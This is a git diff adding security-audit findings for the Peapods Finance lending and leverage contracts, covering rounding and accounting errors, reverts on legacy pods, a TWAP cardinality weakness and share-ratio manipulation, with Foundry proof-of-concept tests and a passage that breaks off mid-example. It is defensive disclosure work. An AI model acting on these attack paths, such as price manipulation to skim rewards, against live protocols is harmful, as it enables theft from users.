+ if (_receiver == address(0)) revert InvalidReceiver();
+
+ // Check if withdraw is paused and revert if necessary
+ if (isWithdrawPaused) revert WithdrawPaused();
+
+ // Accrue interest if necessary
+ _addInterest();
+
+ // Pull from storage to save gas
+ VaultAccount memory _totalAsset = totalAsset;
+
+ // Calculate the number of assets to transfer based on the shares to burn
+ _amountToReturn = _totalAsset.toAmount(_shares, false);
+```
+
+```solidity
+ function toAmount(VaultAccount memory total, uint256 shares, bool roundUp) internal pure returns (uint256 amount) {
+ if (total.shares == 0) {
+ amount = shares;
+ } else {
+ amount = (shares * total.amount) / total.shares;
+ if (roundUp && (amount * total.shares) / total.amount < shares) {
+ amount = amount + 1;
+ }
+ }
+ }
+```
+
+In the end the amount of borrow tokens acquired will be less than the required amount leading to reverting when trying to repay the flash loan.
+
+```solidity
+ // pay back flash loan and send remaining to borrower
+ uint256 _repayAmount = _d.amount + _d.fee;
+ if (_pairedAmtReceived < _repayAmount) {
+ _podAmtRemaining = _acquireBorrowTokenForRepayment(
+ _props,
+ _posProps.pod,
+ _d.token,
+ _repayAmount - _pairedAmtReceived,
+ _podAmtReceived,
+ _podSwapAmtOutMin,
+ _userProvidedDebtAmtMax
+ );
+ }
+ IERC20(_d.token).safeTransfer(IFlashLoanSource(_getFlashSource(_props.positionId)).source(), _repayAmount);
+```
+
+### Internal Pre-conditions
+
+None
+
+### External Pre-conditions
+
+None
+
+### Attack Path
+
+1. User tries to remove leverage.
+2. The process reverts due to the error in determining the borrow tokens needed.
+
+### Impact
+
+The remove leverage process reverts leading to a denial of service.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Round up the shares needed to be redeemed for the borrow tokens. This is safe because any surplus will later be refunded to the user.
\ No newline at end of file
diff --git a/257.md b/257.md
new file mode 100644
index 0000000..e721d99
--- /dev/null
+++ b/257.md
@@ -0,0 +1,133 @@
+Perfect Porcelain Snail
+
+High
+
+# LVF feature inoperable due to missing `convertToAssets()` on already deployed Pods
+
+### Summary
+
+The absence of a `convertToAssets()` implementation in already deployed pods will cause critical LVF operations to revert. This prevents end-users from calculating prices (via `getPrices()` or `getPodPerBasePrice()`) because `_accountForCBRInPrice()` calls `convertToAssets()`. Consequently, LVF support cannot be enabled on legacy pods, blocking access to leveraged volatility farming benefits
+
+### Root Cause
+
+LVF is the main new feature of the release [docs](https://medium.com/@peapodsfinance).
+It clearly say that it's possible to use LVF on already deployed pod [example : Point of View; Volatility Farmer](https://medium.com/@peapodsfinance/lvf-the-r-evolution-of-peapods-69a82687cc68).
+
+[`addLvfSupportForPod()`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageFactory.sol#L118C14-L118C33) function implies LVF should be supported on deployed pods.
+ ```Solidity
+ function addLvfSupportForPod(
+ address _pod,
+ address _dexAdapter,
+ address _indexUtils,
+ bytes memory _aspTknOracleRequiredImmutables,
+ bytes memory _aspTknOracleOptionalImmutables,
+ bytes memory _fraxlendPairConfigData
+ ) external onlyOwner returns (address _aspTkn, address _aspTknOracle, address _fraxlendPair) {
+ address _borrowTkn = IDecentralizedIndex(_pod).PAIRED_LP_TOKEN();
+ require(ILeverageManagerAccessControl(leverageManager).flashSource(_borrowTkn) != address(0), "FS2");
+ uint256 _aspMinDep = IAspTknFactory(aspTknFactory).minimumDepositAtCreation();
+ if (_aspMinDep > 0) {
+ address _spTkn = IDecentralizedIndex(_pod).lpStakingPool();
+ IERC20(_spTkn).safeTransferFrom(_msgSender(), address(this), _aspMinDep);
+ IERC20(_spTkn).safeIncreaseAllowance(aspTknFactory, _aspMinDep);
+ }
+ _aspTkn = _getOrCreateAspTkn(
+ "", IERC20Metadata(_pod).name(), IERC20Metadata(_pod).symbol(), _pod, _dexAdapter, _indexUtils, false, false
+ );
+ _aspTknOracle = IAspTknOracleFactory(aspTknOracleFactory).create(
+ _aspTkn, _aspTknOracleRequiredImmutables, _aspTknOracleOptionalImmutables, 0
+ );
+ _fraxlendPair = _createFraxlendPair(_borrowTkn, _aspTkn, _aspTknOracle, _fraxlendPairConfigData);
+
+ // this effectively is what "turns on" LVF for the pair
+ ILeverageManagerAccessControl(leverageManager).setLendingPair(_pod, _fraxlendPair);
+
+ emit AddLvfSupportForPod(_pod, _aspTkn, _aspTknOracle, _fraxlendPair);
+ }
+ ```
+
+In [spTKNMinimalOracle.sol](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L231), the function `_accountForCBRInPrice()` calls `IDecentralizedIndex(_pod).convertToAssets(_pTknAmt)`:
+
+ ```solidity
+ function _accountForCBRInPrice(address _pod, address _underlying, uint256 _amtUnderlying)
+ internal
+ view
+ returns (uint256)
+ {
+ require(IDecentralizedIndex(_pod).unlocked() == 1, "OU");
+ if (_underlying == address(0)) {
+ IDecentralizedIndex.IndexAssetInfo[] memory _assets = IDecentralizedIndex(_pod).getAllAssets();
+ _underlying = _assets[0].token;
+ }
+ uint256 _pTknAmt =
+ (_amtUnderlying * 10 ** IERC20Metadata(_pod).decimals()) / 10 ** IERC20Metadata(_underlying).decimals();
+ return IDecentralizedIndex(_pod).convertToAssets(_pTknAmt);
+ }
+ ```
+
+ However, in legacy pods, the `convertToAssets()` function is not implemented.
+- pPEAS (10.5M) : https://etherscan.io/token/0x027ce48b9b346728557e8d420fe936a72bf9b1c7#code
+- pOHM (1.3M) : https://etherscan.io/token/0x88e08adb69f2618adf1a3ff6cc43c671612d1ca4#code
+- apPEAS (840K) : https://arbiscan.io/token/0x6a02f704890f507f13d002f2785ca7ba5bfcc8f7#c
+
+This misconception is due that for all the test, it will take the variables of an already pods and then create a new pod [`_duplicatePod()`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/test/helpers/PodHelper.t.sol#L97C14-L97C27).
+
+### Internal Pre-conditions
+
+N/A
+
+### External Pre-conditions
+
+N/A
+
+### Attack Path
+
+1. A user attempts to enable LVF on a legacy pod by calling the `addLvfSupportForPod()` method in the `LeverageFactory` contract.
+2. During LVF initialization, the system calls `_accountForCBRInPrice()` (during the `_createFraxlendPair()`), which then calls `IDecentralizedIndex(_pod).convertToAssets(_pTknAmt)`.
+3. Since the legacy pod does not implement `convertToAssets()`, the call reverts, halting further LVF processes and rendering LVF features unusable.
+
+### Impact
+
+ End-users and liquidity providers using legacy pods will be unable to access LVF features, leading to missed yield opportunities and halted LVF operations. This critical functional regression severely undermines protocol upgradeability and the overall utility of the new LVF mechanism.
+
+### PoC
+
+The following PoC demonstrates the issue:
+
+[poc_convert_asserts_revert.t.sol.txt](https://github.com/user-attachments/files/18799438/poc_convert_asserts_revert.t.sol.txt)
+
+`forge test -vvvvv --match-path test/poc_convert_asserts_revert.t.sol --fork-url https://rpc.flashbots.net/fast`
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.28;
+
+
+import "forge-std/Test.sol";
+import "../contracts/interfaces/IDecentralizedIndex.sol";
+
+contract POCConvertToAssetsRevert is Test {
+ // pOHM pod legacy address on Ethereum Mainnet (as per Etherscan)
+ // https://etherscan.io/token/0x88e08adb69f2618adf1a3ff6cc43c671612d1ca4#code
+ IDecentralizedIndex constant pOHM = IDecentralizedIndex(address(0x88E08adB69f2618adF1A3FF6CC43c671612D1ca4));
+ address constant PAIRED_LP_TOKEN = address(0x6B175474E89094C44Da98b954EedeAC495271d0F); // DAI
+ address constant PARTNER = address(0x73b1961F3fb68EDa8bb66C96FfAF2b17DC9715C6);
+ /// @notice Tests that convertToAssets() reverts on legacy pod pOHM.
+ function testConvertToAssetsRevert() public {
+
+ // test if correct contract
+ address getPairedLpToken = pOHM.PAIRED_LP_TOKEN();
+ assertEq(getPairedLpToken, PAIRED_LP_TOKEN);
+
+ address getPartner = pOHM.partner();
+ assertEq(getPartner, PARTNER);
+
+ // does not implement convertToAssets().
+ vm.expectRevert(bytes(""));
+ pOHM.convertToAssets(1e18);
+ // ├─ [261] WeightedIndex::convertToAssets(1000000000000000000 [1e18]) [staticcall]
+ // └─ ← [Revert] EvmError: Revert
+ }
+}
+```
+
diff --git a/258.md b/258.md
new file mode 100644
index 0000000..d80d69a
--- /dev/null
+++ b/258.md
@@ -0,0 +1,128 @@
+Fast Khaki Raccoon
+
+Medium
+
+# `_removeLeveragePostCallback` will revert if the borrowers is trying to close 100% of the position
+
+### Summary
+
+If the borrower is trying to close 100% of his position, the flow will most likely revert as the provided amounts won't be enough due to interest accrual.
+
+### Root Cause
+
+When calling `removeLeverage` borrowers select the amount of assets they want to repay, where these assets are converted in shares
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L181-L188
+```solidity
+ bytes memory _additionalInfo = abi.encode(
+ IFraxlendPair(_lendingPair).totalBorrow().toShares(_borrowAssetAmt, false), // note that assets are converted in shares
+ _collateralAssetRemoveAmt,
+ _podAmtMin,
+ _pairedAssetAmtMin,
+ _podSwapAmtOutMin,
+ _userProvidedDebtAmtMax
+ );
+```
+
+Later these shares would be used to repay the position:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L353-L372
+```solidity
+ (
+ uint256 _borrowSharesToRepay,
+ uint256 _collateralAssetRemoveAmt,
+ uint256 _podAmtMin,
+ uint256 _pairedAssetAmtMin,
+ uint256 _podSwapAmtOutMin,
+ uint256 _userProvidedDebtAmtMax
+ ) = abi.decode(_additionalInfo, (uint256, uint256, uint256, uint256, uint256, uint256));
+
+ LeveragePositionProps memory _posProps = positionProps[_props.positionId];
+ IFraxlendPair(_posProps.lendingPair).repayAsset(_borrowSharesToRepay, _posProps.custodian);
+
+```
+
+
+When we check with Frax lend `_repay` we see that if we try to repay more shares than the borrower owns the TX reverts:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L1023
+```solidity
+ function _repayAsset(
+ VaultAccount memory _totalBorrow,
+ uint128 _amountToRepay,
+ uint128 _shares,
+ address _payer,
+ address _borrower
+ ) internal {
+ _totalBorrow.amount -= _amountToRepay;
+ _totalBorrow.shares -= _shares;
+
+ userBorrowShares[_borrower] -= _shares;
+ totalBorrow = _totalBorrow;
+```
+
+And if we try to remove 100% of our collateral while still having some shares the TX would revert as we would be undercollateralized:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L993-L1007
+```solidity
+ function removeCollateral(uint256 _collateralAmount, address _receiver)
+ external
+ nonReentrant
+ isSolvent(msg.sender)
+ {
+ if (_receiver == address(0)) revert InvalidReceiver();
+ _addInterest();
+
+ if (userBorrowShares[msg.sender] > 0) {
+ (bool _isBorrowAllowed,,) = _updateExchangeRate();
+ if (!_isBorrowAllowed) revert ExceedsMaxOracleDeviation();
+ }
+ _removeCollateral(_collateralAmount, _receiver, msg.sender);
+ }
+```
+
+
+However if our initial removing TX gets executed a few blocks later our shares would have accumulated some interest meaning that our initial amount won't close 100% of the borrowed shares, preventing us from withdrawing 100% of our collateral.
+
+### Internal Pre-conditions
+
+none, this will happen every time
+
+### External Pre-conditions
+
+The borrower to want to close his entire position in one TX.
+
+### Attack Path
+
+1. One share is valued at 1.05 assets
+2. Borrower wants to repay his full debt which is currently 100k shares and when converted into assets - 105k.
+3. He calls `removeLeverage` with 105k assets and removes 100% of his collateral
+4. The TX is executed a few blocks later, however due to the time difference the share increases it's value to 1.05002 assets , which is 2 USD for 100k shares
+5 . Due to the increase `removeLeverage` calculate the shares our borrower wants to repay as `105k / 1.05002 = 99998.09`
+
+```solidity
+ bytes memory _additionalInfo = abi.encode(
+ IFraxlendPair(_lendingPair).totalBorrow().toShares(_borrowAssetAmt, false), // note that assets are converted in shares
+ _collateralAssetRemoveAmt,
+ _podAmtMin,
+ _pairedAssetAmtMin,
+ _podSwapAmtOutMin,
+ _userProvidedDebtAmtMax
+ );
+```
+
+6. The borrower still has 2 shares of the asset left, but since he is trying to remove 100% of his collateral the function reverts
+
+Note that it's expected to revert as the borrower is trying to leave bad debt in the system with 2 borrowed shares and 0 collateral. The problem is not here, but in the first step of the close - `removeLeverage`.
+
+### Impact
+
+Note that this will happen often when borrowers try to repay 100% of their loans. Chains with higher block frequency like ARB, OP, BASE. POLY would experience this issue even more heavily where on these chains it would be nearly impossible to close such loan, due to the high likelihood of your repayment to be in another block, which would cause a minimal interest accrual.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Instead of providing assets provide the amount of shares the borrower wants to close. Even better solution would be to make an exception where if the borrower called `removeLeverage` with `uint256.max` as `_borrowAssetAmt` to close his entire share balance.
\ No newline at end of file
diff --git a/259.md b/259.md
new file mode 100644
index 0000000..ec9f394
--- /dev/null
+++ b/259.md
@@ -0,0 +1,87 @@
+Spicy Lavender Capybara
+
+High
+
+# The calculated result of _totalAssets will be smaller than expected
+
+### Summary
+
+When CBR increases, LendingAssetVault adjusts `totalAssets` based on the ratio `currentCbrOfVault / prevCbrOfVault`. However, when CBR decreases, it uses `prevCbrOfVault / currentCbrOfVault` to calculate the decrease, which results in a smaller-than-expected value. For example, if `prevCbrOfVault = 100` and `currentCbrOfVault = 80`, the calculated ratio is 1.25, indicating a 25% decrease, while the actual reduction from 100 to 80 is only 20%. When CBR later increases from 80 to 100, the calculated rise is 25%. Due to the overestimation in the previous calculation, `totalAssets` ends up lower than expected, ultimately reducing users' rewards.
+
+### Root Cause
+
+In [LendingAssetVault.sol:L293-L295](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/LendingAssetVault.sol#L293-L295) calculate logic error.
+
+### Internal Pre-conditions
+
+When CBR increases, the calculated value is lower than expected.
+
+### External Pre-conditions
+
+None
+
+### Attack Path
+
+When CBR decreases, the result calculated by `_vaultAssetRatioChange` is more than expected.
+
+### Impact
+
+Reduced rewards and funds available to users.
+
+### PoC
+1. change function addInterest of TestERC4626Vault follow to:
+```solidity
+ function addInterest(bool)
+ external
+ returns (
+ uint256,
+ uint256,
+ uint256,
+ IFraxlendPair.CurrentRateInfo memory _currentRateInfo,
+ VaultAccount memory _totalAsset,
+ VaultAccount memory _totalBorrow
+ )
+ {
+ IFraxlendPair.CurrentRateInfo memory currentRateInfo;
+ VaultAccount memory totalAsset;
+ VaultAccount memory totalBorrow;
+
+ return (1, 0, 0, currentRateInfo, totalAsset, totalBorrow);
+ }
+```
+2. run command `forge test --match-test "test_cbr_calculate_logic_incorrect" -vvv` in LendingAssetVault.t.sol.
+
+```solidity
+ function test_cbr_calculate_logic_incorrect() public {
+ address[] memory vaults = new address[](1);
+ vaults[0] = address(_testVault);
+ uint256[] memory percentages = new uint256[](1);
+ percentages[0] = 10e18 * 10;
+ _lendingAssetVault.setVaultMaxAllocation(vaults, percentages);
+
+ uint256 _lavDepAmt = 10e18;
+ uint256 _extDepAmt = _lavDepAmt / 2;
+ _lendingAssetVault.deposit(_lavDepAmt, address(this)); // 10e18
+ _testVault.depositFromLendingAssetVault(address(_lendingAssetVault), _extDepAmt);
+ _asset.transfer(address(_testVault), _extDepAmt); // 5e18
+ console.log("vaultUtilization: %d", _lendingAssetVault.vaultUtilization(address(_testVault)));
+ _lendingAssetVault.deposit(_lavDepAmt, address(this)); // 10e18
+ console.log("vaultUtilization: %d", _lendingAssetVault.vaultUtilization(address(_testVault)));
+ vm.startPrank(address(_testVault));
+ _asset.transfer(address(this), _extDepAmt / 2); // 5e18
+ vm.stopPrank();
+
+ _lendingAssetVault.deposit(_lavDepAmt, address(this)); // 10e18
+ console.log("vaultUtilization: %d", _lendingAssetVault.vaultUtilization(address(_testVault)));
+ _asset.transfer(address(_testVault), _extDepAmt / 2);
+ _lendingAssetVault.deposit(_lavDepAmt, address(this)); // 10e18
+ console.log("vaultUtilization: %d", _lendingAssetVault.vaultUtilization(address(_testVault)));
+ console.log("totalAsset: %d", _lendingAssetVault.totalAssets());
+ console.log("asset balanceOf LendingAssetVault: %d", _asset.balanceOf(address(_lendingAssetVault)));
+ console.log("asset balanceOf testVault: %d", _asset.balanceOf(address(_testVault)));
+ }
+```
+
+### Mitigation
+
+revise the calculate logic
\ No newline at end of file
diff --git a/260.md b/260.md
new file mode 100644
index 0000000..5a34b26
--- /dev/null
+++ b/260.md
@@ -0,0 +1,75 @@
+Perfect Porcelain Snail
+
+Medium
+
+# Incorrect price calculation in `getPodPerBasePrice()` when paired asset is a Fraxlend pair or Pod
+
+### Summary
+
+A missing price conversion in `getPodPerBasePrice()` will cause an incorrect price calculation for the affected party (`AutoCompoundingPodLp` contract and any external integrations relying on this price feed) as anyone querying the oracle will receive a price that doesn't account for the conversion between the underlying token and the Fraxlend pair/pod token as the real paired asset.
+
+### Root Cause
+
+The core issue lies in the discrepancy between the required pricing logic and the implementation in `getPodPerBasePrice()`. The provided documentation ([aspTKN Oracle - Google Docs](https://docs.google.com/document/d/1Z-T_07QpJlqXlbBSiC_YverKFfu-gcSkOBzU1icMRkM/edit?pli=1&tab=t.0#heading=h.s5tvb0tbnsvq)) explicitly states: "We need pTKN priced in the PairedAsset of the pod." It further clarifies that while the debt token and the paired asset are typically the same, in the case of self-lending pods, "pTKN needs to be denominated in fPairedAsset (frax supply receipt including interest)."
+
+The current implementation of `getPodPerBasePrice()` calculates the price of pTKN in terms of the underlying asset via [`_calculateBasePerPTkn()`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L170) and then inverts it. This function, shown below, retrieves the underlying price:
+
+```solidity
+function _calculateBasePerPTkn(uint256 _price18) internal view returns (uint256 _basePerPTkn18) {
+ // pull from UniV3 TWAP if passed as 0
+ if (_price18 == 0) {
+ bool _isBadData;
+ (_isBadData, _price18) = _getDefaultPrice18();
+ if (_isBadData) {
+ return 0;
+ }
+ }
+ _basePerPTkn18 = _accountForCBRInPrice(pod, underlyingTkn, _price18);
+
+ // adjust current price for spTKN pod unwrap fee, which will end up making the end price
+ // (spTKN per base) higher, meaning it will take more spTKN to equal the value
+ // of base token. This will more accurately ensure healthy LTVs when lending since
+ // a liquidation path will need to account for unwrap fees
+ _basePerPTkn18 = _accountForUnwrapFeeInPrice(pod, _basePerPTkn18);
+ }
+```
+
+However, it does *not* perform the necessary conversion to express the price in terms of the paired asset (e.g., fDAI) when the paired asset is a Fraxlend pair (fPairedAsset) or another pod (pPairedAsset). For instance, in the case of pDAI (where the underlying is DAI and the paired asset is fDAI), `_calculateBasePerPTkn()` calculates the DAI/pTKN price. While this is then inverted in `getPodPerBasePrice()` to get pTKN/DAI, the crucial conversion from pTKN/DAI to pTKN/fDAI is missing. This leads to an incorrect price being returned. The code for [`getPodPerBasePrice()`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L104) is shown below:
+
+```solidity
+function getPodPerBasePrice() external view override returns (uint256 _pricePTknPerBase18) {
+ _pricePTknPerBase18 = 10 ** (18 * 2) / _calculateBasePerPTkn(0);
+}
+```
+
+This missing conversion step is the root cause of the incorrect price calculation.
+
+### Internal Pre-conditions
+
+1. `BASE_IS_POD` or `BASE_IS_FRAX_PAIR` is true.
+
+### External Pre-conditions
+
+N/A
+
+### Attack Path
+
+1. A user interacts with the `AutoCompoundingPodLp` contract or an external integration that relies on the `spTKNMinimalOracle`.
+2. The contract calls `getPodPerBasePrice()` to obtain the price of the pod in terms of the base asset.
+3. The function returns an incorrect price because it doesn't account for the conversion between the underlying token and the Fraxlend pair/pod token.
+
+### Impact
+
+The incorrect price returned by `getPodPerBasePrice()` can have several significant impacts:
+
+* The `_pairedLpTokenToPodLp()` function in `AutoCompoundingPodLp` uses this price to calculate swap amounts. An incorrect price will lead to inaccurate swap calculations, potentially causing the contract to receive less/more pod LP tokens than expected.
+* External integrations relying on this price feed will also be affected. This could create vulnerabilities in other protocols that depend on accurate price data.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Implement the necessary conversion logic in `getPodPerBasePrice()` by checking the `BASE_IS_POD` and `BASE_IS_FRAX_PAIR` flags and applying the appropriate conversion. This logic is already present in the `_calculateSpTknPerBase()` function.
+
diff --git a/261.md b/261.md
new file mode 100644
index 0000000..2864441
--- /dev/null
+++ b/261.md
@@ -0,0 +1,75 @@
+Bent Burgundy Ostrich
+
+Medium
+
+# Asymmetric Calculation Between Amount and Shares
+
+### Summary
+
+During the deposit process, the `_redeem` function is called when certain conditions are met.
+In the `_redeem` function, `_shares` is not consistent with `_amountToReturn`, leading to potential confusion in calculations.
+
+### Root Cause
+
+In the following code segment, `_shares` can be smaller than before, while `_amountToReturn` is not aligned with `_shares`.
+This discrepancy can lead to several complex issues.
+
+[https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L670-L680](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L670-L680)
+
+### Internal Pre-conditions
+
+1. An external asset vault for `FraxlendPair` must exist.
+2. The depositing amount must be greater than the total amount of FraxlendPair(`totalAsset.totalAmount(address(0))`).
+3. `balanceOf(address(externalAssetVault))` must be less than `externalAssetVault.vaultUtilization(address(this))` within the `FraxlendPair`.
+
+### External Pre-conditions
+
+N/A
+
+### Attack Path
+
+1. **Initial Deposit with Manipulated Ratio**: The malicious user calls the deposit function with a smaller amount of assets than intended, attempting to manipulate the amount/shares ratio to be lower than it should be.
+
+2. **Subsequent Deposit with Higher Amount**: The malicious user then calls the deposit function again, this time with a larger amount of assets.
+
+3. **Withdrawal of Excess Tokens**: The malicious user calls the withdraw function, attempting to withdraw asset tokens that exceed the total amount they have deposited.
+
+### Impact
+
+The deposit calculation may yield unexpected results, leading to unforeseen changes in the amount/shares ratio.
+Additionally, a malicious user could manipulate the amount/shares, allowing them to deposit `FraxlendPair` tokens using fewer asset tokens.
+
+### PoC
+
+If `balanceOf(address(externalAssetVault))` is less than `externalAssetVault.vaultUtilization(address(this))` at the FraxlendPair, `_shares` is less than before and it is asymmetric with `_amountToReturn`.
+[https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L670](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L670)
+
+
+### Mitigation
+
+```solidity
+ function _withdrawToVault(uint256 _amountToReturn) internal returns (uint256 _shares) {
+ // Pull from storage to save gas
+ VaultAccount memory _totalAsset = totalAsset;
+
+ // Calculate the number of shares to burn based on the assets to transfer
+ _shares = _totalAsset.toShares(_amountToReturn, true);
+ uint256 _vaultBal = balanceOf(address(externalAssetVault));
+ _shares = _vaultBal < _shares ? _vaultBal : _shares;
+
+ // Deposit assets to external vault
+ assetContract.approve(address(externalAssetVault), _amountToReturn);
+ externalAssetVault.whitelistDeposit(_amountToReturn);
+
+ // Execute the withdraw effects for vault
+ // receive assets here in order to call whitelistDeposit and handle accounting in external vault
+ _redeem(
+ _totalAsset,
+@ _totalAsset.toAmount(_shares, false).toUint128(),
+ _shares.toUint128(),
+ address(this),
+ address(externalAssetVault),
+ true
+ );
+ }
+```
\ No newline at end of file
diff --git a/262.md b/262.md
new file mode 100644
index 0000000..c024b10
--- /dev/null
+++ b/262.md
@@ -0,0 +1,118 @@
+Fast Khaki Raccoon
+
+Medium
+
+# Pools may lack cardinality, which would make the TWAP useless
+
+### Summary
+
+We use Uniswap v3 TWAP oracle to get the price of any tokens. However these pools may not currently have a large enough [observation cardinality](https://uniswapv3book.com/docs/milestone_5/price-oracle/#observations-and-cardinality) to support the TWAP window intended to be used.
+
+### Root Cause
+
+When our zapper calls `_zap` we can end up using UNIv3 for the swap,
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/Zapper.sol#L117-L129
+```solidity
+ if (_twoHops) {
+ address _t0 = IUniswapV3Pool(_poolInfo.pool1).token0();
+ _amountOut = _swapV3Multi(
+ _in,
+ _getPoolFee(_poolInfo.pool1),
+ _t0 == _in ? IUniswapV3Pool(_poolInfo.pool1).token1() : _t0,
+ _getPoolFee(_poolInfo.pool2),
+ _out,
+ _amountIn,
+ _amountOutMin
+ );
+ } else {
+ _amountOut = _swapV3Single(_in, _getPoolFee(_poolInfo.pool1), _out, _amountIn, _amountOutMin);
+ }
+```
+
+Which would use TWAP to calculate the price and make sure the amount out is priced correctly.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/Zapper.sol#L154
+```solidity
+ function _swapV3Single(address _in, uint24 _fee, address _out, uint256 _amountIn, uint256 _amountOutMin)
+ internal
+ returns (uint256)
+ {
+ address _v3Pool;
+ try DEX_ADAPTER.getV3Pool(_in, _out, uint24(10000)) returns (address __v3Pool) {
+ _v3Pool = __v3Pool;
+ } catch {
+ _v3Pool = DEX_ADAPTER.getV3Pool(_in, _out, int24(200));
+ }
+
+ if (_amountOutMin == 0) {
+ address _token0 = _in < _out ? _in : _out;
+ uint256 _poolPriceX96 =
+ V3_TWAP_UTILS.priceX96FromSqrtPriceX96(V3_TWAP_UTILS.sqrtPriceX96FromPoolAndInterval(_v3Pool));
+
+ _amountOutMin = _in == _token0
+ ? (_poolPriceX96 * _amountIn) / FixedPoint96.Q96
+ : (_amountIn * FixedPoint96.Q96) / _poolPriceX96;
+ }
+```
+
+Where we get the TWAP from calling `_sqrtPriceX96FromPoolAndInterval`.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/twaputils/V3TwapUtilities.sol#L74-L93
+```solidity
+ function _sqrtPriceX96FromPoolAndInterval(address _poolAddress, uint32 _interval)
+ internal
+ view
+ returns (uint160 _sqrtPriceX96)
+ {
+ IUniswapV3Pool _pool = IUniswapV3Pool(_poolAddress);
+ if (_interval == 0) {
+ (_sqrtPriceX96,,,,,,) = _pool.slot0();
+ } else {
+ uint32[] memory secondsAgo = new uint32[](2);
+ secondsAgo[0] = _interval;
+ secondsAgo[1] = 0;
+
+ (int56[] memory tickCumulatives,) = _pool.observe(secondsAgo);
+ int56 tickCumulativesDelta = tickCumulatives[1] - tickCumulatives[0];
+ int24 arithmeticMeanTick = int24(tickCumulativesDelta / int32(_interval));
+
+ if (tickCumulativesDelta < 0 && (tickCumulativesDelta % int32(_interval) != 0)) arithmeticMeanTick--;
+ _sqrtPriceX96 = TickMath.getSqrtRatioAtTick(arithmeticMeanTick);
+ }
+ }
+```
+
+Pretty simple flow, however an issue that we will have here is that not every pool has configured cardinality. Cardinality is the earliest value to which the TWAP. Meaning that a low cardinality won't let us utilize the whole 10 or 20 minutes TWAP, but will lower it to only a few, or if never called to the last swap (aka TWAP is not "enabled").
+
+Now, `zap` is used inside `addLPAndStake`, where it is invoked by `_pairedLpTokenToPodLp` in `AutoCompoundingPodLp`. In short if we follow the flow to the top it would lead us to `_processRewardsToPodLp`, which is used inside every function.
+
+Not having accurate TWAP price means that a user can sandwich a trade by executing a swap to manipulate the price and call deposit, withdraw or any other function which would execute the swap and then revert back to the original price.
+
+### Internal Pre-conditions
+
+1. One or more reward pools to be newly created (likely if the reward token s PEAS or any pod)
+
+
+### External Pre-conditions
+
+none
+
+### Attack Path
+
+1. Alice finds a path where cardinality is not set
+2. Alice manipulates the pool price
+3. Alice calls deposit/withdraw to trigger `_processRewardsToPodLp` and swap out the rewards
+4. She reverts back to the original price
+
+### Impact
+
+User can MEV `_processRewardsToPodLp` and steal some of the reward profit from `AutoCompoundingPodLp`.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider increasing the observation cardinality for the pool by calling the `increaseObservationCardinalityNext` function on the pool contract with an input amount that is at least as large as the number of blocks within the TWAP window. Also make sure to check if the cardinality is high enough before making the swap.
diff --git a/263.md b/263.md
new file mode 100644
index 0000000..bcd1772
--- /dev/null
+++ b/263.md
@@ -0,0 +1,61 @@
+Faithful Wooden Elephant
+
+Medium
+
+# Inconsistency in `totalAvailableAssetsForVault` Calculation
+
+
+### Summary
+In the `LendingAssetVault::totalAvailableAssetsForVault` function, the `vaultUtilization` should be used instead of `vaultDeposits`.
+
+### Root Cause
+The `vaultDeposits` represents the value that the `LendingAssetVault(LAV)` deposits into the `FraxlendPairVault`.
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L330
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L249
+```solidity
+ vaultDeposits[_vault] -= _assetAmt > vaultDeposits[_vault] ? vaultDeposits[_vault] : _assetAmt;
+```
+However, due to underflow, this value can become incorrect and result in random values.
+
+### Internal pre-conditions
+N/A
+
+### External pre-conditions
+N/A
+
+### Attack Path
+N/A
+
+### PoC
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L73
+```solidity
+73: function totalAvailableAssetsForVault(address _vault) public view override returns (uint256 _totalVaultAvailable) {
+ uint256 _overallAvailable = totalAvailableAssets();
+
+ _totalVaultAvailable =
+ vaultMaxAllocation[_vault] > vaultDeposits[_vault] ? vaultMaxAllocation[_vault] - vaultDeposits[_vault] : 0;
+
+ _totalVaultAvailable = _overallAvailable < _totalVaultAvailable ? _overallAvailable : _totalVaultAvailable;
+ }
+```
+Consider the following example:
+1. There are two `FraxlendPairVault` instances: `VaultA` and `VaultB`, both with the same state.
+ vaultMaxAllocation[VaultA] = vaultMaxAllocation[VaultB] = 100 DAI.
+2. Both `VaultA` & `VaultB` have `whitelistWithdraw 50 DAI`.
+ `vaultDeposits[VaultA] = vaultDeposits[VaultB] = 50 DAI`.
